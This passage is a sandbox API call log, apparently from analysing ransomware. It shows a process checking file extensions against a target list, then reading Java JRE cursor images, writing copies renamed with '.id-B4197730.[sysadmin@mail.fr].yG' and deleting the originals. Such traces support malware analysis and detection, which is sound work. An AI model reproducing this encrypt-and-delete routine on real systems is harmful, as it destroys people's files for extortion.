	[0047.580] lstrlenW (lpString=".bz2") returned 4
	[0047.580] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.580] lstrlenW (lpString=".7z") returned 3
	[0047.580] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.580] lstrlenW (lpString=".dbf") returned 4
	[0047.580] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.580] lstrlenW (lpString=".1cd") returned 4
	[0047.580] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".jpg") returned 4
	[0047.581] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".doc") returned 4
	[0047.581] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.581] lstrlenW (lpString=".docx") returned 5
	[0047.581] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.581] lstrlenW (lpString=".pdf") returned 4
	[0047.581] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString=".xls") returned 4
	[0047.581] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString=".xlsx") returned 5
	[0047.581] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.581] lstrlenW (lpString=".ppt") returned 4
	[0047.581] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".zip") returned 4
	[0047.581] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString=".rar") returned 4
	[0047.581] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.581] lstrlenW (lpString=".bz2") returned 4
	[0047.581] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.581] lstrlenW (lpString=".7z") returned 3
	[0047.581] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".dbf") returned 4
	[0047.581] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".1cd") returned 4
	[0047.581] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.581] lstrlenW (lpString=".jpg") returned 4
	[0047.581] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.582] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.582] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0047.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.582] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=153) returned 1
	[0047.582] CloseHandle (hObject=0x348) returned 1
	[0047.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20
	[0047.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.582] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.582] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.582] GetLastError () returned 0x0
	[0047.583] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x99, lpOverlapped=0x0) returned 1
	[0047.622] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0047.623] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.623] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x106, lpOverlapped=0x0) returned 1
	[0047.623] SetEndOfFile (hFile=0x350) returned 1
	[0047.623] CloseHandle (hObject=0x350) returned 1
	[0047.624] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.624] SetEndOfFile (hFile=0x348) returned 1
	[0047.625] CloseHandle (hObject=0x348) returned 1
	[0047.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.625] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1
	[0047.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.625] lstrlenW (lpString=".doc") returned 4
	[0047.625] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.625] lstrlenW (lpString=".docx") returned 5
	[0047.625] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.625] lstrlenW (lpString=".pdf") returned 4
	[0047.625] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.625] lstrlenW (lpString=".xls") returned 4
	[0047.626] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString=".xlsx") returned 5
	[0047.626] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.626] lstrlenW (lpString=".ppt") returned 4
	[0047.626] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString=".zip") returned 4
	[0047.626] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString=".rar") returned 4
	[0047.626] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString=".bz2") returned 4
	[0047.626] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.626] lstrlenW (lpString=".7z") returned 3
	[0047.626] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString=".dbf") returned 4
	[0047.626] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString=".1cd") returned 4
	[0047.626] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString=".jpg") returned 4
	[0047.626] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.626] lstrlenW (lpString=".doc") returned 4
	[0047.626] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.626] lstrlenW (lpString=".docx") returned 5
	[0047.626] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.626] lstrlenW (lpString=".pdf") returned 4
	[0047.626] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString=".xls") returned 4
	[0047.626] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.626] lstrlenW (lpString=".xlsx") returned 5
	[0047.626] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.627] lstrlenW (lpString=".ppt") returned 4
	[0047.627] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.627] lstrlenW (lpString=".zip") returned 4
	[0047.627] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.627] lstrlenW (lpString=".rar") returned 4
	[0047.627] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.627] lstrlenW (lpString=".bz2") returned 4
	[0047.627] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.627] lstrlenW (lpString=".7z") returned 3
	[0047.627] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.627] lstrlenW (lpString=".dbf") returned 4
	[0047.627] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.627] lstrlenW (lpString=".1cd") returned 4
	[0047.627] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0047.627] lstrlenW (lpString=".jpg") returned 4
	[0047.627] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.627] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.627] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0047.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.628] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=147) returned 1
	[0047.628] CloseHandle (hObject=0x348) returned 1
	[0047.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20
	[0047.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.629] GetLastError () returned 0x0
	[0047.629] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x93, lpOverlapped=0x0) returned 1
	[0047.630] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0047.630] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.630] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x102, lpOverlapped=0x0) returned 1
	[0047.630] SetEndOfFile (hFile=0x350) returned 1
	[0047.631] CloseHandle (hObject=0x350) returned 1
	[0047.632] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.632] SetEndOfFile (hFile=0x348) returned 1
	[0047.632] CloseHandle (hObject=0x348) returned 1
	[0047.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.633] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1
	[0047.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.636] lstrlenW (lpString=".doc") returned 4
	[0047.636] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.636] lstrlenW (lpString=".docx") returned 5
	[0047.636] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.636] lstrlenW (lpString=".pdf") returned 4
	[0047.636] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.636] lstrlenW (lpString=".xls") returned 4
	[0047.636] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.636] lstrlenW (lpString=".xlsx") returned 5
	[0047.636] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.636] lstrlenW (lpString=".ppt") returned 4
	[0047.636] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".zip") returned 4
	[0047.637] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString=".rar") returned 4
	[0047.637] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString=".bz2") returned 4
	[0047.637] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.637] lstrlenW (lpString=".7z") returned 3
	[0047.637] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".dbf") returned 4
	[0047.637] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".1cd") returned 4
	[0047.637] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".jpg") returned 4
	[0047.637] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".doc") returned 4
	[0047.637] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.637] lstrlenW (lpString=".docx") returned 5
	[0047.637] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.637] lstrlenW (lpString=".pdf") returned 4
	[0047.637] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString=".xls") returned 4
	[0047.637] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString=".xlsx") returned 5
	[0047.637] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.637] lstrlenW (lpString=".ppt") returned 4
	[0047.637] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.637] lstrlenW (lpString=".zip") returned 4
	[0047.637] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.637] lstrlenW (lpString=".rar") returned 4
	[0047.637] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.638] lstrlenW (lpString=".bz2") returned 4
	[0047.638] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.638] lstrlenW (lpString=".7z") returned 3
	[0047.638] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.638] lstrlenW (lpString=".dbf") returned 4
	[0047.638] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.638] lstrlenW (lpString=".1cd") returned 4
	[0047.638] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0047.638] lstrlenW (lpString=".jpg") returned 4
	[0047.638] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.638] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.638] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0047.638] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.638] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=153) returned 1
	[0047.638] CloseHandle (hObject=0x348) returned 1
	[0047.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20
	[0047.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.638] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.639] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.639] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.639] GetLastError () returned 0x0
	[0047.639] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x99, lpOverlapped=0x0) returned 1
	[0047.640] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0047.640] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.641] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x106, lpOverlapped=0x0) returned 1
	[0047.641] SetEndOfFile (hFile=0x350) returned 1
	[0047.641] CloseHandle (hObject=0x350) returned 1
	[0047.641] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.641] SetEndOfFile (hFile=0x348) returned 1
	[0047.642] CloseHandle (hObject=0x348) returned 1
	[0047.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.642] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1
	[0047.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0047.643] lstrlenW (lpString=".doc") returned 4
	[0047.643] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.643] lstrlenW (lpString=".docx") returned 5
	[0047.643] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.643] lstrlenW (lpString=".pdf") returned 4
